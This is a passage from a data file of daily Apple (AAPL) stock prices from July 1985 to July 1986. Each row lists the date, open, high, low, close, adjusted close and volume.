-1985-07-17,0.3147321343421936,0.3191964328289032,0.3147321343421936,0.3147321343421936,0.249966561794281,29545600.0,AAPL -1985-07-18,0.3147321343421936,0.3147321343421936,0.3080357015132904,0.3080357015132904,0.24464817345142365,44766400.0,AAPL -1985-07-19,0.3102678656578064,0.3102678656578064,0.3102678656578064,0.3102678656578064,0.2464209944009781,28728000.0,AAPL -1985-07-22,0.3102678656578064,0.3102678656578064,0.3013392984867096,0.3013392984867096,0.23932971060276031,48076000.0,AAPL -1985-07-23,0.3013392984867096,0.3058035671710968,0.2946428656578064,0.2946428656578064,0.23401138186454773,42173600.0,AAPL -1985-07-24,0.2946428656578064,0.2991071343421936,0.2901785671710968,0.2901785671710968,0.2304656058549881,42179200.0,AAPL -1985-07-25,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,78769600.0,AAPL -1985-07-26,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,32631200.0,AAPL -1985-07-29,0.296875,0.296875,0.2857142984867096,0.2857142984867096,0.226920023560524,19437600.0,AAPL -1985-07-30,0.2901785671710968,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,22366400.0,AAPL -1985-07-31,0.2901785671710968,0.2924107015132904,0.2834821343421936,0.2834821343421936,0.22514720261096954,20126400.0,AAPL -1985-08-01,0.2834821343421936,0.2879464328289032,0.2834821343421936,0.2834821343421936,0.22514720261096954,12891200.0,AAPL -1985-08-02,0.2834821343421936,0.2834821343421936,0.28125,0.28125,0.2233743518590927,24354400.0,AAPL -1985-08-05,0.28125,0.2834821343421936,0.2745535671710968,0.2745535671710968,0.21805597841739655,23083200.0,AAPL -1985-08-06,0.2745535671710968,0.28125,0.2723214328289032,0.2723214328289032,0.2162831574678421,15769600.0,AAPL -1985-08-07,0.2723214328289032,0.2857142984867096,0.265625,0.265625,0.21096472442150116,37934400.0,AAPL -1985-08-08,0.2700892984867096,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,36943200.0,AAPL -1985-08-09,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,15237600.0,AAPL -1985-08-12,0.2723214328289032,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,13748000.0,AAPL -1985-08-13,0.2723214328289032,0.2767857015132904,0.2723214328289032,0.2723214328289032,0.2162831574678421,10595200.0,AAPL -1985-08-14,0.2723214328289032,0.2723214328289032,0.2611607015132904,0.2611607015132904,0.20741912722587585,72475200.0,AAPL -1985-08-15,0.2611607015132904,0.2633928656578064,0.2589285671710968,0.2589285671710968,0.2056463360786438,26297600.0,AAPL -1985-08-16,0.2611607015132904,0.265625,0.2611607015132904,0.2611607015132904,0.20741912722587585,20938400.0,AAPL -1985-08-19,0.2678571343421936,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,11967200.0,AAPL -1985-08-20,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,16738400.0,AAPL -1985-08-21,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,19252800.0,AAPL -1985-08-22,0.2723214328289032,0.2723214328289032,0.265625,0.265625,0.21096472442150116,30828000.0,AAPL -1985-08-23,0.265625,0.2678571343421936,0.2633928656578064,0.2633928656578064,0.20919188857078552,11004000.0,AAPL -1985-08-26,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.21451032161712646,8915200.0,AAPL -1985-08-27,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,10729600.0,AAPL -1985-08-28,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,10236800.0,AAPL -1985-08-29,0.2723214328289032,0.2723214328289032,0.265625,0.265625,0.21096472442150116,14028000.0,AAPL -1985-08-30,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2127375453710556,10718400.0,AAPL -1985-09-03,0.2678571343421936,0.2678571343421936,0.2633928656578064,0.2633928656578064,0.20919188857078552,9363200.0,AAPL -1985-09-04,0.265625,0.2700892984867096,0.265625,0.265625,0.21096472442150116,11888800.0,AAPL -1985-09-05,0.265625,0.2678571343421936,0.265625,0.265625,0.21096472442150116,8204000.0,AAPL -1985-09-06,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2127375453710556,23200800.0,AAPL -1985-09-09,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,33079200.0,AAPL -1985-09-10,0.2745535671710968,0.2790178656578064,0.2745535671710968,0.2745535671710968,0.21805597841739655,30441600.0,AAPL -1985-09-11,0.2767857015132904,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.21982868015766144,21772800.0,AAPL -1985-09-12,0.2879464328289032,0.2879464328289032,0.2879464328289032,0.2879464328289032,0.22869282960891724,27792800.0,AAPL -1985-09-13,0.2879464328289032,0.2879464328289032,0.28125,0.28125,0.2233743518590927,17634400.0,AAPL -1985-09-16,0.28125,0.28125,0.2723214328289032,0.2723214328289032,0.2162831574678421,9245600.0,AAPL -1985-09-17,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,45936800.0,AAPL -1985-09-18,0.2901785671710968,0.2901785671710968,0.2901785671710968,0.2901785671710968,0.2304656058549881,30021600.0,AAPL -1985-09-19,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.24110259115695953,46580800.0,AAPL -1985-09-20,0.3035714328289032,0.3058035671710968,0.2991071343421936,0.2991071343421936,0.23755685985088348,33807200.0,AAPL -1985-09-23,0.3013392984867096,0.3058035671710968,0.3013392984867096,0.3013392984867096,0.23932971060276031,29646400.0,AAPL -1985-09-24,0.3013392984867096,0.3080357015132904,0.2946428656578064,0.2946428656578064,0.23401138186454773,22024800.0,AAPL -1985-09-25,0.2946428656578064,0.2946428656578064,0.2834821343421936,0.2834821343421936,0.22514720261096954,26124000.0,AAPL -1985-09-26,0.2834821343421936,0.2857142984867096,0.2834821343421936,0.2834821343421936,0.22514720261096954,13372800.0,AAPL -1985-09-30,0.2834821343421936,0.2857142984867096,0.28125,0.28125,0.2233743518590927,9161600.0,AAPL -1985-10-01,0.28125,0.2834821343421936,0.28125,0.28125,0.2233743518590927,22086400.0,AAPL -1985-10-02,0.28125,0.2834821343421936,0.2790178656578064,0.2790178656578064,0.22160156071186066,5376000.0,AAPL -1985-10-03,0.2790178656578064,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.21982868015766144,12230400.0,AAPL -1985-10-04,0.2767857015132904,0.2767857015132904,0.2678571343421936,0.2678571343421936,0.2127375453710556,17382400.0,AAPL -1985-10-07,0.2678571343421936,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,22982400.0,AAPL -1985-10-08,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.21451032161712646,21744800.0,AAPL -1985-10-09,0.2700892984867096,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,20703200.0,AAPL -1985-10-10,0.2834821343421936,0.2857142984867096,0.2834821343421936,0.2834821343421936,0.22514720261096954,65436000.0,AAPL -1985-10-11,0.2857142984867096,0.2901785671710968,0.2857142984867096,0.2857142984867096,0.226920023560524,29573600.0,AAPL -1985-10-14,0.296875,0.296875,0.296875,0.296875,0.23578399419784546,38796800.0,AAPL -1985-10-15,0.3035714328289032,0.3058035671710968,0.3035714328289032,0.3035714328289032,0.24110259115695953,73472000.0,AAPL -1985-10-16,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,72111200.0,AAPL -1985-10-17,0.3258928656578064,0.3415178656578064,0.3258928656578064,0.3258928656578064,0.2588306963443756,87046400.0,AAPL -1985-10-18,0.3258928656578064,0.328125,0.3169642984867096,0.3169642984867096,0.251739501953125,57607200.0,AAPL -1985-10-21,0.3169642984867096,0.3169642984867096,0.3080357015132904,0.3080357015132904,0.24464817345142365,29719200.0,AAPL -1985-10-22,0.3214285671710968,0.3258928656578064,0.3214285671710968,0.3214285671710968,0.25528502464294434,106136800.0,AAPL -1985-10-23,0.3214285671710968,0.3303571343421936,0.3214285671710968,0.3214285671710968,0.25528502464294434,37094400.0,AAPL -1985-10-24,0.328125,0.3370535671710968,0.328125,0.328125,0.26060351729393005,68157600.0,AAPL -1985-10-25,0.328125,0.328125,0.3214285671710968,0.3214285671710968,0.25528502464294434,15820000.0,AAPL -1985-10-28,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,14868000.0,AAPL -1985-10-29,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,32720800.0,AAPL -1985-10-30,0.3392857015132904,0.3392857015132904,0.3392857015132904,0.3392857015132904,0.26946747303009033,56644000.0,AAPL -1985-10-31,0.3392857015132904,0.34375,0.3325892984867096,0.3325892984867096,0.26414918899536133,38768800.0,AAPL -1985-11-01,0.3325892984867096,0.3392857015132904,0.3325892984867096,0.3325892984867096,0.26414918899536133,23139200.0,AAPL -1985-11-04,0.3348214328289032,0.3415178656578064,0.3348214328289032,0.3348214328289032,0.2659218907356262,38931200.0,AAPL -1985-11-05,0.3348214328289032,0.3415178656578064,0.3325892984867096,0.3325892984867096,0.26414918899536133,26885600.0,AAPL -1985-11-06,0.34375,0.3459821343421936,0.34375,0.34375,0.2730131149291992,50114400.0,AAPL -1985-11-07,0.3504464328289032,0.3549107015132904,0.3504464328289032,0.3504464328289032,0.2783316671848297,79284800.0,AAPL -1985-11-08,0.3660714328289032,0.3705357015132904,0.3660714328289032,0.3660714328289032,0.2907413840293884,73528000.0,AAPL -1985-11-11,0.3660714328289032,0.3705357015132904,0.3571428656578064,0.3571428656578064,0.28365007042884827,44693600.0,AAPL -1985-11-12,0.3571428656578064,0.3616071343421936,0.3549107015132904,0.3549107015132904,0.2818772792816162,43411200.0,AAPL -1985-11-13,0.3549107015132904,0.3549107015132904,0.3459821343421936,0.3459821343421936,0.27478593587875366,25390400.0,AAPL -1985-11-14,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,34876800.0,AAPL -1985-11-15,0.3571428656578064,0.3616071343421936,0.3549107015132904,0.3549107015132904,0.2818772792816162,20395200.0,AAPL -1985-11-18,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2818772792816162,16139200.0,AAPL -1985-11-19,0.3549107015132904,0.3571428656578064,0.34375,0.34375,0.2730131149291992,23581600.0,AAPL -1985-11-20,0.34375,0.3459821343421936,0.3392857015132904,0.3392857015132904,0.26946747303009033,24768800.0,AAPL -1985-11-21,0.3392857015132904,0.34375,0.3392857015132904,0.3392857015132904,0.26946747303009033,25737600.0,AAPL -1985-11-22,0.3392857015132904,0.34375,0.3370535671710968,0.3392857015132904,0.26946747303009033,32188800.0,AAPL -1985-11-25,0.3392857015132904,0.34375,0.3392857015132904,0.3415178656578064,0.27124035358428955,24298400.0,AAPL -1985-11-26,0.3415178656578064,0.3482142984867096,0.3392857015132904,0.3459821343421936,0.27478593587875366,41115200.0,AAPL -1985-11-27,0.3459821343421936,0.359375,0.34375,0.3571428656578064,0.28365007042884827,47930400.0,AAPL -1985-11-29,0.3571428656578064,0.359375,0.3549107015132904,0.359375,0.28542283177375793,24757600.0,AAPL -1985-12-02,0.359375,0.3616071343421936,0.3571428656578064,0.3616071343421936,0.2871958017349243,25048800.0,AAPL -1985-12-03,0.3616071343421936,0.3638392984867096,0.3571428656578064,0.359375,0.28542283177375793,38768800.0,AAPL -1985-12-04,0.359375,0.3683035671710968,0.359375,0.3660714328289032,0.2907413840293884,41277600.0,AAPL -1985-12-05,0.3660714328289032,0.3705357015132904,0.3571428656578064,0.359375,0.28542283177375793,31287200.0,AAPL -1985-12-06,0.359375,0.359375,0.3504464328289032,0.3526785671710968,0.2801044285297394,16363200.0,AAPL -1985-12-09,0.3526785671710968,0.3571428656578064,0.34375,0.3459821343421936,0.27478593587875366,34966400.0,AAPL -1985-12-10,0.3459821343421936,0.3504464328289032,0.34375,0.3482142984867096,0.27655884623527527,50226400.0,AAPL -1985-12-11,0.3482142984867096,0.359375,0.3482142984867096,0.3526785671710968,0.2801044285297394,59404800.0,AAPL -1985-12-12,0.3549107015132904,0.3616071343421936,0.3549107015132904,0.3571428656578064,0.28365007042884827,31315200.0,AAPL -1985-12-13,0.3571428656578064,0.3616071343421936,0.3526785671710968,0.3571428656578064,0.28365007042884827,62787200.0,AAPL -1985-12-16,0.3571428656578064,0.3794642984867096,0.3571428656578064,0.3727678656578064,0.2960597574710846,72228800.0,AAPL -1985-12-17,0.3727678656578064,0.375,0.3638392984867096,0.3683035671710968,0.29251402616500854,27266400.0,AAPL -1985-12-18,0.3816964328289032,0.4084821343421936,0.3816964328289032,0.3973214328289032,0.3155606985092163,139949600.0,AAPL -1985-12-19,0.3973214328289032,0.40625,0.3950892984867096,0.4017857015132904,0.3191063106060028,67530400.0,AAPL -1985-12-20,0.4017857015132904,0.40625,0.3973214328289032,0.3995535671710968,0.31733348965644836,51508800.0,AAPL -1985-12-23,0.3995535671710968,0.4017857015132904,0.3861607015132904,0.390625,0.31024226546287537,35806400.0,AAPL -1985-12-24,0.390625,0.3928571343421936,0.3861607015132904,0.3883928656578064,0.3084695041179657,16150400.0,AAPL -1985-12-26,0.3883928656578064,0.3928571343421936,0.3861607015132904,0.3883928656578064,0.3084695041179657,11463200.0,AAPL -1985-12-27,0.3883928656578064,0.4040178656578064,0.3883928656578064,0.3995535671710968,0.31733348965644836,30721600.0,AAPL -1985-12-30,0.3995535671710968,0.4040178656578064,0.3950892984867096,0.3973214328289032,0.3155606985092163,26919200.0,AAPL -1985-12-31,0.3973214328289032,0.3995535671710968,0.3928571343421936,0.3928571343421936,0.3120151162147522,21812000.0,AAPL -1986-01-02,0.3928571343421936,0.3973214328289032,0.3883928656578064,0.3973214328289032,0.3155606985092163,29355200.0,AAPL -1986-01-03,0.3973214328289032,0.3995535671710968,0.3950892984867096,0.3995535671710968,0.31733348965644836,60541600.0,AAPL -1986-01-06,0.3995535671710968,0.3995535671710968,0.390625,0.3973214328289032,0.3155606985092163,46261600.0,AAPL -1986-01-07,0.3973214328289032,0.4107142984867096,0.3950892984867096,0.4107142984867096,0.3261975944042206,117633600.0,AAPL -1986-01-08,0.4107142984867096,0.4196428656578064,0.40625,0.4084821343421936,0.32442471385002136,151900000.0,AAPL -1986-01-09,0.4084821343421936,0.4107142984867096,0.390625,0.4040178656578064,0.32087913155555725,111809600.0,AAPL -1986-01-10,0.4040178656578064,0.4129464328289032,0.4040178656578064,0.40625,0.3226518929004669,38309600.0,AAPL -1986-01-13,0.40625,0.4129464328289032,0.4017857015132904,0.4107142984867096,0.3261975944042206,53855200.0,AAPL -1986-01-14,0.4107142984867096,0.4241071343421936,0.4017857015132904,0.4151785671710968,0.3297431766986847,68174400.0,AAPL -1986-01-15,0.4151785671710968,0.4285714328289032,0.4129464328289032,0.4263392984867096,0.3386072516441345,105868000.0,AAPL -1986-01-16,0.4263392984867096,0.4419642984867096,0.4263392984867096,0.4375,0.34747135639190674,133694400.0,AAPL -1986-01-17,0.4375,0.4419642984867096,0.4263392984867096,0.4285714328289032,0.3403799831867218,86346400.0,AAPL -1986-01-20,0.4285714328289032,0.4285714328289032,0.4174107015132904,0.4263392984867096,0.3386072516441345,31852800.0,AAPL -1986-01-21,0.4263392984867096,0.4308035671710968,0.4241071343421936,0.4285714328289032,0.3403799831867218,37990400.0,AAPL -1986-01-22,0.4285714328289032,0.4308035671710968,0.3995535671710968,0.4174107015132904,0.33151596784591675,35750400.0,AAPL -1986-01-23,0.4174107015132904,0.4196428656578064,0.40625,0.4107142984867096,0.3261975944042206,39104800.0,AAPL -1986-01-24,0.4107142984867096,0.4174107015132904,0.4040178656578064,0.4040178656578064,0.32087913155555725,27994400.0,AAPL -1986-01-27,0.4040178656578064,0.40625,0.3928571343421936,0.3950892984867096,0.31378787755966187,97395200.0,AAPL -1986-01-28,0.3950892984867096,0.3995535671710968,0.3928571343421936,0.3973214328289032,0.3155606985092163,55574400.0,AAPL -1986-01-29,0.3973214328289032,0.4352678656578064,0.3928571343421936,0.421875,0.33506160974502563,147392000.0,AAPL -1986-01-30,0.4196428656578064,0.4196428656578064,0.4084821343421936,0.4107142984867096,0.3261975944042206,59220000.0,AAPL -1986-01-31,0.4107142984867096,0.4151785671710968,0.4084821343421936,0.4129464328289032,0.32797035574913025,36926400.0,AAPL -1986-02-03,0.4129464328289032,0.4285714328289032,0.4084821343421936,0.4263392984867096,0.3386072516441345,87505600.0,AAPL -1986-02-04,0.4263392984867096,0.4352678656578064,0.4241071343421936,0.4241071343421936,0.33683446049690247,65044000.0,AAPL -1986-02-05,0.4241071343421936,0.4263392984867096,0.4196428656578064,0.4241071343421936,0.33683446049690247,49291200.0,AAPL -1986-02-06,0.4241071343421936,0.4330357015132904,0.421875,0.4308035671710968,0.3421529233455658,33555200.0,AAPL -1986-02-07,0.4308035671710968,0.4308035671710968,0.4196428656578064,0.4285714328289032,0.3403799831867218,32351200.0,AAPL -1986-02-10,0.4285714328289032,0.4375,0.4241071343421936,0.4263392984867096,0.3386072516441345,27960800.0,AAPL -1986-02-11,0.4263392984867096,0.4285714328289032,0.4196428656578064,0.4263392984867096,0.3386072516441345,38365600.0,AAPL -1986-02-12,0.4263392984867096,0.4285714328289032,0.4241071343421936,0.4285714328289032,0.3403799831867218,33264000.0,AAPL -1986-02-13,0.4285714328289032,0.4285714328289032,0.4241071343421936,0.4263392984867096,0.3386072516441345,27344800.0,AAPL -1986-02-14,0.4263392984867096,0.4308035671710968,0.4241071343421936,0.4241071343421936,0.33683446049690247,34378400.0,AAPL -1986-02-18,0.4241071343421936,0.4285714328289032,0.4151785671710968,0.4263392984867096,0.3386072516441345,37027200.0,AAPL -1986-02-19,0.4263392984867096,0.4553571343421936,0.4263392984867096,0.4464285671710968,0.3545624911785126,89919200.0,AAPL -1986-02-20,0.4464285671710968,0.453125,0.4441964328289032,0.4486607015132904,0.35633549094200134,34479200.0,AAPL -1986-02-21,0.4486607015132904,0.4598214328289032,0.4486607015132904,0.4508928656578064,0.3581082224845886,47269600.0,AAPL -1986-02-24,0.4508928656578064,0.4598214328289032,0.4464285671710968,0.4598214328289032,0.3651994466781616,61779200.0,AAPL -1986-02-25,0.4598214328289032,0.4709821343421936,0.4486607015132904,0.4709821343421936,0.37406352162361145,56184800.0,AAPL -1986-02-26,0.4709821343421936,0.4776785671710968,0.4642857015132904,0.4642857015132904,0.3687450587749481,41182400.0,AAPL -1986-02-27,0.4642857015132904,0.4665178656578064,0.4553571343421936,0.4575892984867096,0.3634265065193176,27031200.0,AAPL -1986-02-28,0.4575892984867096,0.4620535671710968,0.4441964328289032,0.4464285671710968,0.3545624911785126,31281600.0,AAPL -1986-03-03,0.4464285671710968,0.4486607015132904,0.4375,0.4397321343421936,0.34924399852752686,27204800.0,AAPL -1986-03-04,0.4397321343421936,0.4464285671710968,0.4375,0.4397321343421936,0.34924399852752686,22276800.0,AAPL -1986-03-05,0.4397321343421936,0.4553571343421936,0.4330357015132904,0.4508928656578064,0.3581082224845886,44256800.0,AAPL -1986-03-06,0.4508928656578064,0.4598214328289032,0.4486607015132904,0.453125,0.35988089442253113,25334400.0,AAPL -1986-03-07,0.453125,0.453125,0.4419642984867096,0.4419642984867096,0.35101693868637085,24046400.0,AAPL -1986-03-10,0.4419642984867096,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.34924399852752686,18872000.0,AAPL -1986-03-11,0.4397321343421936,0.4441964328289032,0.4375,0.4441964328289032,0.3527897894382477,25765600.0,AAPL -1986-03-12,0.4441964328289032,0.4486607015132904,0.4419642984867096,0.4419642984867096,0.35101693868637085,21420000.0,AAPL -1986-03-13,0.4419642984867096,0.4464285671710968,0.4352678656578064,0.4419642984867096,0.35101693868637085,28991200.0,AAPL -1986-03-14,0.4419642984867096,0.46875,0.4419642984867096,0.4665178656578064,0.3705179691314697,96213600.0,AAPL -1986-03-17,0.4642857015132904,0.4642857015132904,0.453125,0.4642857015132904,0.3687450587749481,29680000.0,AAPL -1986-03-18,0.4642857015132904,0.4866071343421936,0.4620535671710968,0.4799107015132904,0.3811548054218292,62339200.0,AAPL -1986-03-19,0.4799107015132904,0.4866071343421936,0.4709821343421936,0.4732142984867096,0.3758363425731659,47471200.0,AAPL -1986-03-20,0.5,0.5290178656578064,0.5,0.5044642686843872,0.40065574645996094,226032800.0,AAPL -1986-03-21,0.5044642686843872,0.5133928656578064,0.4910714328289032,0.4933035671710968,0.39179161190986633,65094400.0,AAPL -1986-03-24,0.4933035671710968,0.4933035671710968,0.4709821343421936,0.4776785671710968,0.37938192486763,73578400.0,AAPL -1986-03-25,0.4776785671710968,0.4977678656578064,0.4776785671710968,0.4977678656578064,0.39533722400665283,70268800.0,AAPL -1986-03-26,0.4977678656578064,0.5133928656578064,0.4977678656578064,0.5044642686843872,0.40065574645996094,55535200.0,AAPL -1986-03-27,0.5044642686843872,0.5178571343421936,0.5044642686843872,0.5044642686843872,0.40065574645996094,54751200.0,AAPL -1986-03-31,0.5044642686843872,0.5089285969734192,0.5,0.5044642686843872,0.40065574645996094,46950400.0,AAPL -1986-04-01,0.5044642686843872,0.5044642686843872,0.4821428656578064,0.4866071343421936,0.3864732086658478,55680800.0,AAPL -1986-04-02,0.4866071343421936,0.4888392984867096,0.46875,0.4866071343421936,0.3864732086658478,81323200.0,AAPL -1986-04-03,0.4866071343421936,0.4933035671710968,0.4799107015132904,0.4821428656578064,0.38292765617370605,52768800.0,AAPL -1986-04-04,0.4821428656578064,0.4821428656578064,0.4754464328289032,0.4776785671710968,0.37938192486763,31488800.0,AAPL -1986-04-07,0.4776785671710968,0.4910714328289032,0.46875,0.4866071343421936,0.3864732086658478,30032800.0,AAPL -1986-04-08,0.4866071343421936,0.4955357015132904,0.4866071343421936,0.4933035671710968,0.39179161190986633,48305600.0,AAPL -1986-04-09,0.4933035671710968,0.4955357015132904,0.4799107015132904,0.484375,0.38470029830932617,33829600.0,AAPL -1986-04-10,0.484375,0.4888392984867096,0.4799107015132904,0.4866071343421936,0.3864732086658478,27496000.0,AAPL -1986-04-11,0.4866071343421936,0.4910714328289032,0.4821428656578064,0.4821428656578064,0.38292765617370605,18916800.0,AAPL -1986-04-14,0.4821428656578064,0.4866071343421936,0.4776785671710968,0.4799107015132904,0.3811548054218292,21240800.0,AAPL -1986-04-15,0.4799107015132904,0.4910714328289032,0.4799107015132904,0.4888392984867096,0.3882460296154022,32849600.0,AAPL -1986-04-16,0.4888392984867096,0.5089285969734192,0.4888392984867096,0.5044642686843872,0.40065574645996094,52707200.0,AAPL -1986-04-17,0.5044642686843872,0.5200892686843872,0.5,0.5178571343421936,0.4112926721572876,67524800.0,AAPL -1986-04-18,0.5178571343421936,0.5334821343421936,0.5133928656578064,0.53125,0.4219294488430023,61919200.0,AAPL -1986-04-21,0.5334821343421936,0.5491071343421936,0.5334821343421936,0.5424107313156128,0.4307937026023865,68387200.0,AAPL -1986-04-22,0.5424107313156128,0.5580357313156128,0.5290178656578064,0.5334821343421936,0.42370226979255676,81967200.0,AAPL -1986-04-23,0.5334821343421936,0.5424107313156128,0.5245535969734192,0.5290178656578064,0.4201566278934479,65368800.0,AAPL -1986-04-24,0.5290178656578064,0.5625,0.5267857313156128,0.5602678656578064,0.44497600197792053,114592800.0,AAPL -1986-04-25,0.5602678656578064,0.5825892686843872,0.5602678656578064,0.5758928656578064,0.4573856592178345,65268000.0,AAPL -1986-04-28,0.5758928656578064,0.5848214030265808,0.5669642686843872,0.5714285969734192,0.453840047121048,36383200.0,AAPL -1986-04-29,0.5714285969734192,0.5758928656578064,0.4799107015132904,0.5580357313156128,0.4432031214237213,33174400.0,AAPL -1986-04-30,0.5580357313156128,0.5647321343421936,0.5401785969734192,0.5401785969734192,0.42902064323425293,34445600.0,AAPL -1986-05-01,0.5401785969734192,0.5401785969734192,0.53125,0.5401785969734192,0.42902064323425293,64484000.0,AAPL -1986-05-02,0.5401785969734192,0.5535714030265808,0.5379464030265808,0.5446428656578064,0.4325663149356842,23396800.0,AAPL -1986-05-05,0.5446428656578064,0.5803571343421936,0.5446428656578064,0.5736607313156128,0.45561301708221436,37335200.0,AAPL -1986-05-06,0.5758928656578064,0.59375,0.5758928656578064,0.5825892686843872,0.46270424127578735,54633600.0,AAPL -1986-05-07,0.5825892686843872,0.5870535969734192,0.5580357313156128,0.5625,0.4467487037181854,49700000.0,AAPL -1986-05-08,0.5625,0.5915178656578064,0.5625,0.5892857313156128,0.46802276372909546,58340800.0,AAPL -1986-05-09,0.5892857313156128,0.6004464030265808,0.5848214030265808,0.5959821343421936,0.4733408987522125,55624800.0,AAPL -1986-05-12,0.5959821343421936,0.6540178656578064,0.59375,0.6495535969734192,0.5158885717391968,100105600.0,AAPL -1986-05-13,0.6495535969734192,0.6517857313156128,0.6294642686843872,0.6428571343421936,0.5105700492858887,117941600.0,AAPL -1986-05-14,0.6428571343421936,0.6674107313156128,0.6428571343421936,0.6584821343421936,0.522979736328125,120747200.0,AAPL -1986-05-15,0.6584821343421936,0.6607142686843872,0.6361607313156128,0.6428571343421936,0.5105700492858887,55636000.0,AAPL -1986-05-16,0.6428571343421936,0.6473214030265808,0.6272321343421936,0.6428571343421936,0.5105700492858887,79811200.0,AAPL -1986-05-19,0.6428571343421936,0.6517857313156128,0.6339285969734192,0.6361607313156128,0.5052515864372253,52376800.0,AAPL -1986-05-20,0.6361607313156128,0.6361607313156128,0.6116071343421936,0.6316964030265808,0.5017058849334717,61448800.0,AAPL -1986-05-21,0.6316964030265808,0.6651785969734192,0.625,0.6607142686843872,0.5247524976730347,86682400.0,AAPL -1986-05-22,0.6607142686843872,0.6696428656578064,0.6383928656578064,0.65625,0.5212070345878601,55126400.0,AAPL -1986-05-23,0.65625,0.6629464030265808,0.6495535969734192,0.6607142686843872,0.5247524976730347,34960800.0,AAPL -1986-05-27,0.6607142686843872,0.6607142686843872,0.6495535969734192,0.6584821343421936,0.522979736328125,21162400.0,AAPL -1986-05-28,0.6584821343421936,0.6696428656578064,0.65625,0.6651785969734192,0.5282983779907227,51783200.0,AAPL -1986-05-29,0.6651785969734192,0.6651785969734192,0.6517857313156128,0.6607142686843872,0.5247524976730347,25356800.0,AAPL -1986-05-30,0.6607142686843872,0.6651785969734192,0.6517857313156128,0.6607142686843872,0.5247524976730347,31858400.0,AAPL -1986-06-02,0.6607142686843872,0.6674107313156128,0.65625,0.6629464030265808,0.5265251994132996,49812000.0,AAPL -1986-06-03,0.6629464030265808,0.6808035969734192,0.6629464030265808,0.6763392686843872,0.537162184715271,81474400.0,AAPL -1986-06-04,0.6763392686843872,0.6941964030265808,0.6741071343421936,0.6919642686843872,0.5495718717575073,75163200.0,AAPL -1986-06-05,0.6919642686843872,0.6986607313156128,0.6875,0.6941964030265808,0.5513448715209961,36971200.0,AAPL -1986-06-06,0.6941964030265808,0.6941964030265808,0.6696428656578064,0.6741071343421936,0.5353891253471375,44340800.0,AAPL -1986-06-09,0.6741071343421936,0.6763392686843872,0.640625,0.6428571343421936,0.5105700492858887,61756800.0,AAPL -1986-06-10,0.6428571343421936,0.6428571343421936,0.6272321343421936,0.6428571343421936,0.5105700492858887,61723200.0,AAPL -1986-06-11,0.6428571343421936,0.6473214030265808,0.6339285969734192,0.6450892686843872,0.5123429298400879,46715200.0,AAPL -1986-06-12,0.6450892686843872,0.6495535969734192,0.6428571343421936,0.6428571343421936,0.5105700492858887,32272800.0,AAPL -1986-06-13,0.6428571343421936,0.6495535969734192,0.6294642686843872,0.6495535969734192,0.5158885717391968,35750400.0,AAPL -1986-06-16,0.6495535969734192,0.6584821343421936,0.6361607313156128,0.640625,0.5087971687316895,43400000.0,AAPL -1986-06-17,0.640625,0.6428571343421936,0.6071428656578064,0.6116071343421936,0.4857509136199951,55512800.0,AAPL -1986-06-18,0.6116071343421936,0.6205357313156128,0.5803571343421936,0.6116071343421936,0.4857509136199951,107413600.0,AAPL -1986-06-19,0.6116071343421936,0.6383928656578064,0.6049107313156128,0.625,0.4963875114917755,86161600.0,AAPL -1986-06-20,0.625,0.6450892686843872,0.625,0.6428571343421936,0.5105700492858887,40325600.0,AAPL -1986-06-23,0.6428571343421936,0.6473214030265808,0.6183035969734192,0.6205357313156128,0.4928419888019562,29080800.0,AAPL -1986-06-24,0.6205357313156128,0.6272321343421936,0.6138392686843872,0.6227678656578064,0.494614839553833,35498400.0,AAPL -1986-06-25,0.625,0.6428571343421936,0.625,0.640625,0.5087971687316895,32995200.0,AAPL -1986-06-26,0.640625,0.6495535969734192,0.6339285969734192,0.6473214030265808,0.5141157507896423,29232000.0,AAPL -1986-06-27,0.6473214030265808,0.65625,0.6339285969734192,0.640625,0.5087971687316895,12549600.0,AAPL -1986-06-30,0.640625,0.6473214030265808,0.6383928656578064,0.640625,0.5087971687316895,17690400.0,AAPL -1986-07-01,0.640625,0.6450892686843872,0.6205357313156128,0.6316964030265808,0.5017058849334717,21929600.0,AAPL -1986-07-02,0.6316964030265808,0.6473214030265808,0.6316964030265808,0.6450892686843872,0.5123429298400879,36209600.0,AAPL -1986-07-03,0.6450892686843872,0.6741071343421936,0.6361607313156128,0.671875,0.5336165428161621,45292800.0,AAPL -1986-07-07,0.671875,0.6741071343421936,0.6316964030265808,0.6361607313156128,0.5052515864372253,45455200.0,AAPL -1986-07-08,0.6294642686843872,0.6294642686843872,0.609375,0.6116071343421936,0.4857509136199951,68420800.0,AAPL -1986-07-09,0.6116071343421936,0.6205357313156128,0.6071428656578064,0.6183035969734192,0.49106916785240173,91280000.0,AAPL 